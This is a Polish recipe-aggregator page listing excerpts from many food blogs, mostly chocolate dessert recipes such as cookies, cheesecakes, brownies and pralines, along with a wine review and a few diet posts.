banany (najlepsze jakie jadłam!), następnym razem skuszę się chyba na wersję karmelizowaną z sezamem , suszone wiśnie , owoce morwy białej Ciekawe są też owoce kandyzowane takie jak np. agrest (w czekoladzie), porzeczka , gruszka , orzechy np. kemiri , o których wcześniej nie słyszałam a także czekolada... bez cukru ! Drugim działem, któy odwiedziłam były herbaty - każda z nich jest szczegółowo opisana a już same(...)nazwy powodują ślinotok :)  Słyszeliście kiedyś o herbacie np. U niebios bram , Leśny elf , Tropikalna burza czy Hawajski koktajl ? Mnie osobiście najbardziej zainteresowały połączenia:  Truskawki w czekoladzie , Wiśnie w rumie , Bananowo-wiśniowa oraz Pina colada Atrakcyjna jest również oferta kaw - zarówno ziarnistych jaki i rozpuszczalnych - mnie ujęła kawa miętowa , orzechowa , rafaello , advocatowa itd - przy każdej kolejnej nazwie - znów ślinotok

Kto ugości moich gości?
Mleczne ciasteczka z amaretto 117

powiecie na pyszne ciasteczka. Z dodatkiem najlepszej mlecznej czekolady i nutą amaretto? Jesteście łasuchami? To koniecznie musicie zrobić te proste, ale pyszne ciacha! Składniki : * 1/3 kostki masła * 3/4 szklanki cukru pudru  * 2 łyżki amaretto  * 3 szklanki mąki pszennej * pół łyżeczki proszku do pieczenia  * tabliczka mlecznej czekolady Goplana  Przygotowanie : Masło utrzeć na puch razem z cukrem pudrem(...)wycinać ciasteczka - u mnie stempelki - układać na blaszce do pieczenia i piec w zależności od grubości ciastek 10-15 minut w 180 stopniach. Ciasteczka wystudzić, w kąpieli wodnej rozpuścić czekoladę i maczać w niej dół ciasteczek. Odstawić do zastygnięcia

Magiczne Życie Marty
King 116

serka homogenizowanego waniliowego, 250 g wafelków orzechowych (bez polewy), 10 łyżek mleka w proszku, 10 łyżek mleka, 70 g orzechów włoskich, 300 ml kremówki, łyżka cukru pudru, tabliczka gorzkiej czekolady. Wykonanie: Jasny biszkopt przygotowujemy według przepisu . 150 g wafelków kruszymy, dodajemy płynne mleko, mleko w proszku, serek waniliowy i zmielone orzechy. Całość miksujemy do momentu połączenia się składników. Masę przekładamy(...)biszkopt. Kremówkę ubijamy z cukrem pudrem i nakładamy na masę wafelkową. 100 g wafelków bardzo drobno kruszymy i posypujemy nimi bitą śmietanę. Startą czekoladą posypujemy wierzch ciasta. (Ja wafelki i czekoladę pokruszyłam za pomocą rozdrabniacza). Smacznego

paapilotkaa
Tartaletki czekoladowe z bezą i truskawkami 208

cukru pudru  1 łyżka kakao  100 g zimnego masła 1 jajko 0,5 łyżeczki proszku do pieczenia 1 łyżeczka ekstraktu z wanilii Masa czekoladowa 150 g gorzkiej czekolady 60 ml śmietany kremówki 30% 70 g masła 50 g cukru 2 żółtka 70 g zmielonych orzechów włoskich Ale-raj Beza 2 białka 3 łyżki cukru truskawki Przygotowanie: Ciasto(...)widelcem włożyć do nagrzanego piekarnika góra-dół na 180 stopni i piec 20 minut. W trakcie pieczenia spodów przygotować masę czekoladową. Masa czekoladowa: Do garnuszka wlać śmietanę dodać połamaną czekoladę, cukier puder, masło i na wolnym ogniu mieszając podgrzewać aż czekolada się rozpuści i składniki się połączą. Zdjąć z ognia do letniej masy dodawać po jednym żółtku i energicznie mieszać

Ala piecze i gotuje
Czekoladowo-borówkowa granita z nutą bakalii 153

lekko zmrożone. ... każda porcja granity jest wypełniona małymi, borówkowymi smakołykami. Składniki: 1 1/2 szklanki wody 1/4 szklanki dobrego, ciemnego kakao 2 łyżki cukru 45 g klasycznej gorzkiej czekolady z bakaliami firmy Goplana 3 czubate łyżki borówek Przygotowanie: Wodę gotujemy w małym garnku. Gdy woda zacznie wrzeć dodajemy do niej kakao oraz cukier. Wszystko razem mieszamy, gotując jeszcze chwilę. Następnie(...)ściągamy garnek z palnika. Do jeszcze gorącej kakaowej masy wkładamy połamaną na mniejsze kawałki czekoladę i mieszamy, aż do całkowitego rozpuszczenia czekolady i połączenia się z masą kakaową. Następnie dodajemy borówki, lekko mieszamy. Tak przygotowaną masę odstawiamy do całkowitego wystudzenia, co jakiś czas delikatnie mieszając. Gdy masa przestygnie przelewamy ją do plastikowego pojemnika z przykrywką i wstawiamy do zamrażalnika. Mniej

Słodkie okruszki
Czekoladowe ciasto tortowe 176

mleka 3 łyżki mąki 1/2 szklanki cukru 2 łyżki soku z cytryny 2 łyżki kakao 200 g masła (może być 1/2 masła i 1/2 margaryny) 1 1/2 (150 g)czekolady deserowej (może być 1 gorzka i 1/2 mlecznej) Wykonanie: ciasto: W jajkach oddzielić żółtka od białek. Białka ubijać dosypując stopniowo cukier i po jednym żółtku. Ubijać do rozpuszczenia się cukru(...)Gotować na wolnym ogniu, ciągle mieszając aby nie przypalić. Gotować do czasu uzyskania postaci gęstego, jednolitego budyniu. Wystudzić. Kakao wymieszać z niewielką ilością gorącej wody (ma być gęsta papka). Czekolady roztopić w miseczce na garnku z gorącą wodą. Masło miksować dodając stopniowo po łyżce wystudzonego budyniu jajecznego, roztopionej czekolady i kakao. Miksować do uzyskania jednolitej masy kremowej, nie za długo

Kuchcik gotuje
Sernik wiedeński w polewie czekoladowej 140

wiaderkowego) 1 szklanka cukru pudru 8 jajek L 0,5 szklanki kaszy manny 200 g cukru Polewa czekoladowa 0,5 szklanki śmietanki 30% 50 g margaryny 90 g gorzkiej czekolady 100 g białej czekolady Jajka, margarynę oraz ser wyjmujemy wcześniej z lodówki, aby uzyskały pokojową temperaturę. Na początku oddzielamy żółtka od białek. Margarynę ucieramy z cukrem pudrem na puszystą masę(...)minut i następnie w 150*C przez 70 minut. Sernik studzimy przy uchylonych drzwiczkach piekarnika. Polewa: Wszystkie składniki umieszczamy w małym rondelku na wolnym ogniu. Mieszamy do rozpuszczenia się czekolady i zgęstnienia polewy . Dekorujemy ciasto

VioletoweKucharzenie
Brownie z serem i truskawkami 411

kategorii ciast z truskawkami Bardzo czekoladowe brownie, sernik z dodatkiem mleka skondensowanego i truskawki. Mus truskawkowy: 300 g truskawek (świeżych lub mrożonych) 2 łyżki cukru Brownie: 200 g gorzkiej czekolady 200 g masła 3 jajka 200 g cukru 120 g mąki pszennej Masa serowa: 500 g twarogu trzykrotnie zmielonego (lub gotowego sera do serników) 150 g mleka skondensowanego słodzonego(...)jajka 1 łyżeczka aromatu waniliowego Truskawki umyć i osuszyć. Usunąć szypułki. Włożyć do małego garnka i dodać cukier. Gotować na małym palniku do zagęszczenia (około 40-45 minut). Czekoladę rozpuścić z masłem na małym palniku. Odstawić do przestudzenia. Jajka zmiksować z cukrem na jasną masę. Wymieszać z czekoladą. Na koniec dodać mąkę i mieszać na niskich obrotach miksera do czasu

Bullio
Muffinki kakaowe z niespodzianką 98

Robiłam porządki w szafkach i znalazłam zachomikowaną białą czekoladę. Godzinę później Córcia zasnęła, więc ja wzięłam się za pichcenie ;) muffinki są bardzo miękkie, wilgotne, ale też kaloryczne :) Składniki na 18 muffinek: 2 szkl. mąki 2 i 3/5 szkl. mleka 1 kostka masła 3/4 szkl. cukru 3 jajka 7 łyżek kakao 1 łyżeczka cukru wanilinowego 2 łyżeczki proszku do pieczenia(...)łyżeczka sody 1 tabliczka białej czekolady Sposób przygotowania: Jajka ubijamy z cukrem, następnie wlewamy mleko i masło rozpuszczone w kąpieli wodnej. Do mokrych składników wsypujemy suche i mieszamy do równomiernego połączenia. Do foremek na muffinki wlewamy ciasto do wysokości 1/2 otworu, wkładamy po 1 kosteczce białej czekolady i wlewamy znowu ciasto do wysokości 7/8 foremki. Pieczemy w piekarniku rozgrzanym

Kolorowy Przepisownik
Deser serduszko czekoladowo-kawowe (bez pieczenia) 110

idealny, ale bardzo smaczny :) Składniki podane są na 1 porcję. Jest dość słodki. Składniki: Spód: 4-5 okrągłych biszkoptów 1 łyżka masła 1 łyżka miodu Krem: 1/4 tabliczki gorzkiej czekolady 50 ml śmietany 30% szczypta chili 1 czubata łyżeczka kawy rozpuszczalnej drobno mielonej 1 łyżka śmietan fix 1 łyżeczka cukru pudru Dodatkowo: 1 łyżka czerwonej galaretki 2 łyżki wrzątku Sposób(...)powinna stać na płaskiej powierzchni, np. desce do krojenia. Na środku ustawiamy foremkę do wycinania ciasteczek i lekko wciskamy (aby masa nie dostała się do środka). Krem czekoladowo-kawowy: Czekoladę łamiemy w drobniejsze kawałki, wlewamy 2 łyżki śmietany i roztapiamy w kąpieli wodnej, następnie przyprawiamy szczyptą chili. Pozostałą śmietanę ubijamy z cukrem pudrem (tak, aby nie przebić!), dodajemy śmietan

Kolorowy Przepisownik
Galaretka kawowa z czekoladą 113

porcje galaretki. Składniki 2 szklanki pełnego mleka  2 łyżeczki kawy rozpuszczalnej 2 łyżki cukru 3 czubate łyżeczki mielonej żelatyny 3 łyżki zimnego mleka 8 kostek twardej, gorzkiej czekolady Sposób Na spodzie pucharków rozkładamy rozdrobnioną bądź potartą czekoladę. W 3 łyżkach zimnego mleka moczymy żelatynę, odstawiamy, by napęczniała.  Mleko zagotowujemy z cukrem, do wrzącego dodajemy kawę, dokładnie mieszamy, zestawiamy(...)ognia, dodajemy napęczniałą żelatynę i ponownie mieszamy, aż żelatyna się dokładnie rozpuści i nie pozostaną nawet najmniejsze grudki. Galaretkę rozkładamy do pucharków z czekoladą, odstawiamy w chłodne miejsce

Kuchenne aromaty
Tarta gruszkowa z makiem, czekoladą i budyniem 202

Kolejna już tarta w scenerii jesiennej, której głównym składnikiem są gruszki. W lodówce odnalazłam resztki gotowej masy makowej, postanowiłam dołożyć również startą gorzką czekoladę, cały smak przełamują bardzo słodkie gruszki zalane masą budyniową.  Ciasto 20 dag mąki 5 dag cukru pudru 10 dag masła łyżka śmietany Masa na wierzch 180 ml śmietany 18% 2 jaja  2 łyżki cukru(...)opakowania cukru waniliowego 40 g mąki Dodatkowo  masa makowa do wyłożenia warstwy na cieście 1,5 tabliczki gorzkiej czekolady startej na tarce o grubych oczkach 5 gruszek Sposób 1. Z podanych składników zagniatamy kruche ciasto. Blaszkę do tarty smarujemy margaryną i wysypujemy bułką tartą. Blaszkę wylepiamy ciastem, na ciasto nakładamy warstwę gotowej masy makowej, posypujemy startą gorzką czekoladą, układamy

Kuchenne aromaty
Naleśniki czekoladowe z serem i bananami 198

bananami, oblane polewą czekoladową :) Naleśniki czekoladowe z serem i bananami Składniki na ciasto mąka - 2 szkl jajka - 2 szt mleko - 1 szkl woda - 0,5 szkl kakao - 1 łyżka czekolada gorzka  Goplana 60 % - 1/2 tabliczki masło - 1 łyżka szczypta soli NADZIENIE: ser biały - 375 g śmietana - 3 łyżki cukier - 3 łyżki cukier waniliowy - 1 łyżeczka POLEWA śmietana - 1 łyżka(...)cukier - 1 łyżka masło -1 szczuba łyżka kakao - 1 łyżka DODATKOWO banany Sposób przygotowania: Ciasto naleśnikowe:  Czekoladę rozpuścić w kąpieli wodnej razem z masłem, ostudzić.  Do miski wybić jajka, dodać mleko, wodę, szczyptę soli, zmiksować.  Następnie dodać rozpuszczoną czekoladę i kakao, dokładnie wymieszać.  Na samym końcu przesiać mąkę, wymieszać.  Jeżeli ciasto byłoby za gęste, dodać

Kuchnia Danusi
Ciasto zakalec - Czekoladowe Brownie 196

kuchni amerykańskiej, nazwa powiązana jest z jego ciemno brązowym kolorem. Brownie po przekrojeniu wygląda jak zakalec i jest to jego cechą charakterystyczną. Dzisiaj bardziej na słodko mimo że użyłem czekolady gorzkiej Goplana. Na przygotowanie ciasta będziemy potrzebowali jedynie 30 minut i kilku produktów które połączymy ze sobą.. Na początek na kąpiel wodną wrzucamy masło i czekoladę, w drugiej misce(...)stopni. Ważne jest żeby ciasto było jeszcze delikatnie nie dopieczone gdy je wyciągamy ponieważ blacha odda jeszcze swoją temperaturę, a ciasto musi być wilgotne. Składniki które wykorzystałem : 300 g. czekolady gorzkiej Goplana 200 g. masła 3 jajka 100 g. mąki pszennej 100 g. cukru Smacznego

Full Smaku
Kruche babeczki z czekoladą i jagodowym twarożkiem 131

grupy B oraz witamin A i D dlatego to ważne by podawać je dzieciom. Ja przygotowując desery myślę też o moim maluchu a ten deser w wersji bez czekolady podałam córeczce bez wyrzutów sumienia :) Polecam! Na 5 babeczek o średnicy ok 10 cm: 3 łyżki naturalnego chudego twarożku (zmielonego jak na sernik) 40 g nierafinowanego roztopionego oleju kokosowego (waga przed(...)roztopieniem) jajko 180 g pełnoziarnistej mąki teff   70 g gorzkiej czekolady dobrej jakości (jeśli dziecko jest uczulone na kakao to zróbcie mu porcję bez tego dodatku) 2 łyżki posiekanych migdałów   5 kopiastych łyżek naturalnego chudego twarożku (zmielonego jak na sernik) 3 łyżki jagód (użyłam rozmrożonych, w sezonie użyjcie świeżych) jadalne kwiaty np. bratki i stokrotki (pamiętajcie o zrywaniu

Mienta blog
Czekoladowe marzenie 194

kakaowego biszkoptu i aksamitnego musu czekoladowego dało wspaniały efekt i wizualny i,  oczywiście, smakowy. Składniki: 6 jajek 1 szklanka cukru 3 łyżki maki pszennej 2 pełne łyżki kakao Czekolada: 250 g masła 1 szklanka cukru 2 pełne łyżki kakao 6 łyżek mleka 1 pełna łyżka żelatyny Mus: czekolada ( czyt. wyżej) 5 białek 1 szklanka śmietany kremówki 36% Wykonanie: Białka(...)gorącej masy czekoladowej dosypuję żelatynę i mieszam, aż się rozpuści.. Odstawiam by wystygła. Białka ubijam na pianę,  śmietanę kremówkę również ubijam na sztywno.  Do wystudzonej czekolady najpierw dodaję ubitą śmietanę, mieszam rózgą , a następnie dodaję ubite białka.  Delikatnie mieszam łopatką i wykładam mus na spodzie biszkoptowym.  Całość schładzam w lodówce

Ciasteczkowy Potwór
Czekoladowe praliny jaglane, Łańcut 165

wersja tych pralinek . Jeśli użyjecie mleka sojowego w proszku i płynnego mleka roślinnego, deser będzie wegański. Składniki: ok. 1,5 szklanki kaszy jaglanej + ulubione mleko 2 tabliczki deserowej czekolady, np. Wedla kilka łyżek gorącej wody lub mleka ksylitol/inne sypkie słodziwo do zagęszczenia masy: mleko w proszku do obtoczenia: kakao (lub wiórki kokosowe, sezam) Ugotuj kaszę na sypko(...)mleku. Czekoladę połam na małe kawałki i wymieszaj w dużej misce z kilkoma łyżkami gorącej wody lub ulubionego mleka. Do czekolady dodaj kaszę, ksylitol i wszystko dokładnie zblenduj.  Teraz za pomocą mleka w proszku reguluj gęstość masy – dodaj go tyle, aż będzie ona zwarta i bardzo gęsta. Dokładnie wymieszaj. Wilgotnymi rękami formuj praliny. Następnie obtaczaj je w kakao. Schłodź

Qlinarnie i Qlinarnie
NIETOLERANCJA LAKTOZY - Z CZYM TO SIĘ JE? 133

więc będzie, rezygnując z deserków nabiałowych, kremów i musów na śmietance kremówce, tortów z kremami i wypieków, w przygotowaniu których stosuje się mleko - to można zastąpić zaś odpowiednimi zamiennikami. Czekolada także staje się naszym wrogiem. Takich produktów, których należałoby omijać, jest naprawdę wiele. Stąd jedna moja porada: CZYTAJMY ETYKIETY i sprawdzajmy skład danych produktów. To najlepsze wyjście. Zamienniki pokarmowe Mleko(...)jogurt, masło, ser, itd. Kosztują nieco więcej, ale w przypadku początków życia bez laktozy, jeśli komuś ciężko sobie wyobrazić taką dietę, produkty te pomogą przyzwyczaić się do bezmlecznego odżywiania. Czekolada - najlepiej robić ją w domu, wykorzystując do tego tłuszcz kokosowy, kakao lub karob . Zwykła czekolada, dostępna w sklepach zawiera najczęściej mleko pełne lub mleko w proszku. Stop, nie tędy droga

W kuchni Karmel-itki
Tort kawowy 152

rozpuszczalnej u mnie kawa Amaretto od  SKWORCU 1 łyżeczka proszku do pieczenia 2 łyżeczki octu szczypta soli Krem kawowy 750 g serka mascarpone – porządnie schłodzić 1 tabliczka mlecznej czekolady 300 ml zimnej śmietany do ubijania 36 % 50 ml wystudzonego espresso- bardzo mocny napar 2 łyżeczki żelatyny 3 łyżki cukru pudru Poncz: -100 ml gorącej wody -2 łyżeczki cukru(...)najlepiej na drugi dzień, pokroić na 3 równe krążki. Poncz: cukier rozpuścić w gorącej wodzie, zostawić do wystygnięcia, a następnie dodać sok z cytryny, alkohol i espresso. Przygotowanie kremu Czekoladę połam na kawałki, wrzuć do miseczki i wlej 3 łyżki śmietany kremówki.  Rozpuść w kąpieli wodnej.Odstaw do przestygnięcia np. w zimnej wodzie. Rozpuść 2 łyżeczki żelatyny w ¼ szklanki gorącej

Z Kuchni Do Kuchni
Food Film Fest 2013 138

dobra zabawa jak w roku ubiegłym. W programie: Pokazy filmów o tematyce kulinarnej (min. Co kryje Coca- Cola- cały sekret; Czerwona obsesja- opisujący przemysł winiarski;  Gorzki smak czekolady- opisujący handel ludźmi i nielegalnie pracujące dzieci na plantacjach czekolady. Jak się okazuję czekolada nie dla każdego może mieć słodki smak; Mistrzowie herbaty i inne)i warsztaty w Fumenti dla naszych

Wielki apetyt
Zdrowe ciasteczka 144

Jęczmienne ciastka z czekoladą są naprawdę pyszne. Wielką ich zaletą jest również to, że przygotować może je każdy i zajmie mu to dosłownie chwilkę. Więc jeśli szukacie alternatywy dla tradycyjnych ciastek zawierających tylko krocie pustych kalorii dobrze trafiliście. Świetnie sprawdzą się również jako drugie śniadanie do szkoły czy przysmak w sam raz na piknik. Składniki: 1 szklanka płatków jęczmiennych błyskawicznych(...)szklanki mąki pszennej ( ja dałam pół na pół z pszenną pełnoziarnistą) 1/2 szklanki cukru (ja dałam domowy waniliowy) 1 łyżka ciemnego kakao 1/2 tabliczki czekolady posiekanej w drobną kostkę 1 łyżeczka sody 200g stopionego masła Sposób przygotowania: Składniki umieszczamy w misie miksera, mieszamy i dodajemy stopniowo rozpuszczone, przestudzone masło. Na koniec dodajemy kawałki czekolady. Z powstałej masy formujemy kuleczki

Wielki apetyt
Obłędny deser czekoladowy 122

pomyślałam o najlepszym na świecie deserze, pomyślałam o gorącej, aromatycznej czekoladzie, pysznych, kremowych, waniliowych lodach i truskawkach (oj tak koniecznie truskawki- przecież bez nich nie mogłabym żyć) Długo zastanawiałam się jak powinien wyglądać deser idealny. Metodą prób i błędów powstał on- obłędny deser czekoladowy. A że świętuje 3 urodziny bloga, pomyślałam że to odpowiedni moment, żeby i Ciebie rozpieścić(...)jajko 1/4 łyżeczki sol 1/2 szklanki maślanki 1/2 szklanki oleju   1 łyżeczka ekstraktu waniliowego   1/2 szklanki gorącej wody  sos czekoladowy 100 ml śmietanki 30% 200 g czekolady mlecznej dobrej jakości  dodatkowo  100 g mrożonych truskawek 8 gałek lodów waniliowych dobrej jakości ( najlepsze domowe )  Sposób przygotowania: Ciasto: Piekarnik nagrzej do 150 stopni. Składniki (poza wodą

Wielki apetyt
LIDL - kolejny przystanek w podróży po świecie francuskich win 127

sposób łagodnie przechodzimy do win czerwonych. Côtes du Ventoux Vieilles Vignes 2012 (17,99 zł). W butelce znajdziemy dużo intensywnych aromatów czerwonych owoców (wiśni, czarnej porzeczki), trochę pieprzu i czekolady. Taniny są dość intensywne, ale dobrze wtopione a ciało umiarkowane. Wino konkretne, do konkretnych dań z grilla – karkówce czy kiełbasie z ogniska na pewno da radę. Château Haut Claribès Bordeaux(...)czerwonym winem jest    Château Taffard de Blaignan Médoc 2011 (29,99 zł), polecany przez sommeliera Lidla Michała Jancika , do tatara. W winie dominują aromaty wędzonych śliwek, wiśni, czekolady. W ustach jest bardzo przyjemnie skoncentrowane. Jest eleganckie z dobrą strukturą. Taniny są przyjemne - krągłe i nieagresywne. Poważne wino do poważnych dań z wołowiny np. steka z grilla. Bardzo dobra

królestwo garów
Czekoladki z kremem orzechowym 152

miseczki wkładamy kuwertury połamane na kawałki. Ustawiamy miseczkę na rondelku wypełnionym do połowy wodą. Podgrzewamy wodę na małym ogniu i nie dopuszczamy do jej zagotowania. Mieszamy cały czas, aż czekolada całkowicie się rozpuści. Silikonowe foremki wypełniamy roztopioną czkoladą do 1/3 wysokości. Wkładamy odrobinę masła orzechowego utartego z cukrem pudrem (ilości cukru pudru nie podaję, dodajemy według własnego smaku) i foremki(...)wypełniamy pozostałą częścią czekolady. Wypełnione foremki wkładamy do lodówki. Po ostygnięciu czekolada stwardnieje i sama odejdzie od ścianek foremki.  Smacznego

Salonik smaków
Ciasto ze szpinakiem i masą miętową. 165

Połączenie mięty i gorzkiej czekolady uważam za idealne tym razem również się sprawdziło.  Ciasto bardzo orzeźwiające i smaczne ;)   Składniki: biszkopt kakaowy: 3 jajka  3/4 szklanki cukru  1 szklanka mąki  1 łyżeczka proszku do pieczenia   3 łyżki kakao    ciasto szpinakowe: 3 jajka    szklanka cukru   3/4 szklanki oleju(...)tabliczka gorzkiej czekolady        500ml mleka                                                                       kolorowe kuleczki do posypania 3 łyżki cukru 250 g masła   Przygotowanie Białka ubijamy

Symfonia smakowa
Wuzetka z nutą porzeczkową 351

umieścić na paterze, nasączyć połową ponczu. Na ciasto wyłożyć masę   śmietanową (odrobinę można zostawić do dekoracji). Przykryć 2 połową biszkoptu, nasączyć. Wstawić do lodówki. Polewa czekoladowa: 60 g czekolady gorzkiej 60 g czekolady mlecznej 100 ml śmietanki 30% W garnuszku podgrzać śmietankę. Do gorącej dodać pokruszone czekolady i dokładnie wymieszać do rozpuszczenia. Wystudzić.   Udekorować wierzch ciasta. Schłodzić. Dekorację

kulinarnyswiatdomi
DIETA WARZYWNO-OWOCOWA - cz.3, wrażenia - proces oczyszczania, waga i samopoczucie 144

pieczywa chrupkiego, albo czegokolwiek innego "suchego", ziarnistego, chrupiącego, ale nie tak, jak chrupie marchewka, tylko np. chrupki kukurydziane. Do tego równocześnie cały czas ciągnęło mnie do orzechów (zwłaszcza laskowych), czekolady (kakao) i oleju kokosowego, czyli do zakazanego w czasie diety tłuszczu, ewidentnie brakowało mi tych kalorii, których nigdy nikt nie widział, ale które chyba jednak istnieją ;) Druga sprawa to brak(...)wyraźnie zmęczyłam się tym, że nie mogę zjeść czegoś innego, zwłaszcza tych produktów z listy "zakazanych", ciągnęło mnie nawet do rzeczy, których od dawna nie jadam (pizza z serem, czekolada mleczna, mleko w proszku, itd., często "łaziły" mi po głowie). Może to taki przekorny mój charakter, że nie znosi narzucania ani ograniczeń, a może po prostu lubienie jedzenia różnych różności

Wegański blog WSZYSTKO JEST W GŁOWIE
Nikodemki - ciasteczka czekoladowo-bananowe z orzechami i wodą różaną - wersja dla mamy 123

słońcem! Zobacz również inne przepisy na ----> CIASTECZKA Nikodemki - ciasteczka czekoladowo-bananowe z orzechami i wodą różaną - przepis: Składniki: (z podanych proporcji wyszło mi 28 ciastek) 125 g gorzkiej czekolady 2 łyżki kakao 50 g masła 75 g brązowego cukru 75 g cukru pudru 1 duży banan 16 g cukru waniliowego 1 łyżeczka proszku do pieczenia 150 g mąki pszennej(...)mleka szczypta soli 2 garści orzechów włoskich 2 łyżki wody różanej 20-25 g płatków migdałowych Nikodemki - ciasteczka czekoladowo-bananowe z orzechami i wodą różaną - jak zrobić? Masło i czekoladę rozpuścić w rondelku, przestudzić. Suche składniki: kakao, cukier puder, brązowy cukier, cukier waniliowy, proszek do pieczenia, mąkę oraz sól wymieszać w misce. Banana pokroić na plasterki i każdy z nich

Moje Qulinaria
Pieguski z owocami goji i czekoladą 148

Zapraszam na pyszne ciasteczka z owocami goji i czekoladą. Doskonałe jako deser do kawy lub herbaty. Do przygotowania ciasteczek użyłam suszonych owoców goji, które otrzymałam od hurtowni przypraw Rafex. SKŁADNIKI: 120g margaryny, 1 jajko, 1/2 szklanki cukru pudru, 1 szklanka mąki, 1 łyżeczka proszku do pieczenia, 1 tabliczka mlecznej czekolady, 30g suszonych jagód goji z hurtowni Rafex , 30g rodzynek. PRZYGOTOWANIE(...)Margarynę ucieram z  jajkiem i cukrem pudrem. Stopniowo dodaję mąkę wymieszaną z proszkiem do pieczenia. Na końcu do ciasta dodaję rodzynki, owoce goji oraz pokrojoną w drobną kostkę czekoladę. Mieszam. 2. Na blaszkę wyłożoną papierem do pieczenia nakładam łyżką niewielkie porcje ciasta, formując ciasteczka. Ciastka piekę 20 minut w temperaturze 170 stopni. Do przygotowania ciasteczek użyłam suszonych jagód goji

Tradycyjna kuchnia Kasi
Sernik z musem malinowym 153

Użyłam okrągłej formy o średnicy 28 cm. Składniki powinny być w temperaturze pokojowej. Mus malinowy: 100 g malin cukier do smaku (około 1 łyżki) Czekoladowy spód: 80 g gorzkiej czekolady 80 g masła 50 g cukru 1 jajko 40 g mąki Masa serowa: 500 g sera twarogowego trzykrotnie mielonego 500 g sera mascarpone 100 ml śmietany kremówki 36% 4 jajka(...)czubate łyżki mąki ziemniaczanej 1 szklanka cukru 2 łyżeczki esencji waniliowej Maliny (świeże lub mrożone) zblendować z cukrem. Połamaną w kostki czekoladę rozpuścić a następnie odstawić do przestygnięcia. Utrzeć masło z cukrem na jasną masę. Dodać jedno ubite wcześniej jajko (ważne aby było w temperaturze pokojowej). Miksować chwilę, po czym dodać mąkę a na koniec roztopioną czekoladę. Wszystko delikatnie miksować

Bullio
Ciasto czekoladowo-bananowe 173

Biszkopt przełożony kremem budyniowym z bananami. Na wierzchu bita śmietana posypana startą gorzką czekoladą. Biszkopt czekoladowy: 6 jajek 150 g cukru 1 łyżeczka ekstraktu z wanilii 120 g mąki pszennej 50 g kakao łyżeczka masła (do wysmarowania tortownicy) Masa budyniowa: 1/3 szklanki cukru 1 budyń śmietankowy (60 g) 5 żółtek 500 ml mleka 100 g masła Na wierzch(...)śmietany 30% 2 łyżki cukru pudru 50 g gorzkiej czekolady Dodatkowo: 3 banany Najpierw należy przygotować biszkopt. Jajka powinny być w temperaturze pokojowej. Oddzielić białka od żółtek. Żółtka ubić z cukrem pudrem na jasną masę. Dodać mąkę, ekstrakt waniliowy oraz kakao i dalej miksować do uzyskania jednolitej konsystencji. Białka ubić na pianę. Delikatnie wymieszać szpatułką z przygotowaną masą. Wylać

Bullio
Beza Kawowa z Malinami 167

mojego syna. Jedynie mój mąż na ich widok pozostaje lekko obojętny, czego nie mogę zrozumieć po dziś dzień Dzisiejsza beza jest z mocno kawowym kremem, malinami i czekoladą… gorzką miętową Jest wspaniała. Bardzo Wam polecam. Składniki na bezę: 6 białek 300 g cukru 1,5 łyżki mąki ziemniaczanej 1 łyżeczka soku z cytryny Białka ubijamy na sztywną pianę. Dodajemy(...)otrzymania sztywnego kremu. Wlewamy ostygniętą kawę i mieszamy szpatułką do połączenia się. Na pierwszy blat bezowy wykładamy połowę kremu. Przykrywamy drugim blatem. Wykładamy pozostały krem. Ozdabiamy malinami i gorzką czekoladą. Dodatkowo: 300 g malin 50 g gorzkiej czekolady np. miętowej The post Beza Kawowa z Malinami appeared first on Made

Made By Mom And Son
Pralinki o smaku pistacjowym 126

Składniki: (na około 10-15 sztuk) 200 g gorzkiej czekolady, ja użyłam 78% kakao 70 g serka mascarpone garstka pistacji zmielonej na proszek w młynku łyżeczka różowego, słodkiego wina  maximum pół szklanki pistacji grubo posiekanej - do obtaczania Przygotowanie: 1. Pistacje rozdrobnić na pył, dodać do nich serek mascarpone, dokładnie wymieszać. 2. Czekoladę rozpuścić w kąpieli wodnej. 3. Czekoladę powoli

KreatywnePiny
Pralinki z truskawkowym pudrem 118

Mocno czekoladowe z kwaskowo-słodkim truskawkowym pudrem. Idealny pomysł na małą pralinkową przekąskę :) Składniki: (na około 10-15 sztuk) 150 g gorzkiej czekolady ja użyłam 78% kakao 50 g mlecznej czekolady 70 g śmietany kremówki łyżka whisky pół szklanki suszonych truskawek 1-2 łyżeczki cukru pudru Przygotowanie: 1. Kremówkę zagotować 2. Dodać czekolady i rozpuścić je w kremówce. 3. Dodać

KreatywnePiny
Sernik dyniowy bez cukru (z żurawiną i polewą z białej czekolady) 181

www.mojewypieki.com i troszkę go zmodyfikowałam do swoich "bez cukrowych" potrzeb.  Tak tak... nie ma tu ani trochę dodanego cukru (chyba, że ktoś się skusi na polewę z białej czekolady). To dyniowe cudo pieczone jest w kąpieli wodnej dzięki czemu sernik wyszedł rewelacyjny! Nigdy nie jadłam lepszego pod względem konsystencji. Jest delikatny, kremowy, puszysty i wilgotny - taki jaki powinien być(...)niesamowicie humor... i zniknął szybciej niż się spodziewałam! Zapraszam do przetestowania (a zwłaszcza do eksperymentowania z różnymi dodatkami - u mnie sprawdziła się domowa żurawina i polewa z białej czekolady - pychotka! :) Składniki na spód:   250 g herbatników 150 - 200 g masła 1/2 łyżeczki cynamonu 1/2 łyżeczki imbiru Herbatniki dokładnie rozgniatamy na pył w misce i wlewamy rozpuszczone w rondelku masełko

Jedzeniomania
Przecier truskawkowy z serkiem tofu, nutką kokosa i czekolady 120

Wiosna za oknem, truskawki pojawiają się w sklepach..... i kusi. No i skusiło. Przecier truskawkowy a pod nim serek tofu z nutka kokosa i czekolady. Połączenie słodyczy serka z lekkim, naturalnym kwaskiem wczesnych truskawek. Składniki   ( 2 duże porcje): 250 g truskawek 150 g serka gładkiego tofu 3/4 gorzkiej czekolady lub 3-4 duże łyżki nutelli  (wersja(...)syrop z agawy (jeśli ktoś potrzebuje dosłodzić) Przygotowanie (7 minut): - truskawki kroimy i miksujemy  - serek tofu kroimy i miksujemy z mleczkiem kokosowym i rozpuszczoną czekoladą / nutellą na gładka masę -  do szklanki  wkładamy najpierw serek  a następnie zmiksowane truskawki - GOTOWE! Cena :  3,5 zł porcja SMACZNEGO

Pora na pora i pomidora
Bożonarodzeniowe wspomnienie (likier pierniczkowy) 159

